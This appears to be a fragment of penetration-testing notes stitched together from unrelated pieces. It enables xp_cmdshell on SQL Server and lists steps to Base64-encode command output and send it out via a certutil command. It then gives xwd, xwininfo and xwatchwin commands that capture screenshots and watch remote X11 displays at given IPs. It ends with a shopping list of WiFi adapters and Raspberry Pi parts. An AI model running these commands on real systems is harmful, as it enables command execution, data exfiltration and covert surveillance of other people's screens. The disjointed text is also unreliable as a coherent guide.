EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

The procedure to achieve it is as follows:

Declare a variable of “table” type to save the output that returns the xp_cmdshell procedure (remember that it returns the result in several rows).
Dump the output of the command to the previous variable.
Concatenate the rows of the table, separated by a line break.
Encode the resulting string in Base64 and save it in a variable.
Generate the certutil command, appending the string with the result.
Execute it.

apt-get install x11-utils xutils-dev imagemagick libxext-dev xspy
xwininfo -root -tree -display 172.16.31.102:0
xwd -root -screen -silent -display 10.10.10.10:0 > screenshot.xwd
convert screenshot.xwd screenshot.png

Watching the display

./xwatchwin -u 0.5 172.16.31.102:0 root

Component reference
Wifi cards

AC1200

AWUS1900, 50€ https://www.amazon.de/Network-AWUS1900-802-11ac-Ultra-adapter/dp/B01MZD7Z76/ref=sr_1_1?s=computers&ie=UTF8&qid=1547331669&sr=1-1&keywords=AWUS+1900 or the https://www.amazon.de/Alfa-AWUS036ACH-Dual-Adapter-AC1200/dp/B00VEEBOPG/ref=sr_1_1?s=computers&ie=UTF8&qid=1547331743&sr=1-1&keywords=alfa+ac1200
Raspberry PI 3B+

https://www.amazon.de/Raspberry-1373331-Pi-Modell-Mainboard/dp/B07BDR5PDW/ref=sr_1_5?s=computers&ie=UTF8&qid=1547331633&sr=1-5&keywords=raspberry+pi+3+b%2B
Adafruit UBEC

https://www.adafruit.com/product/1385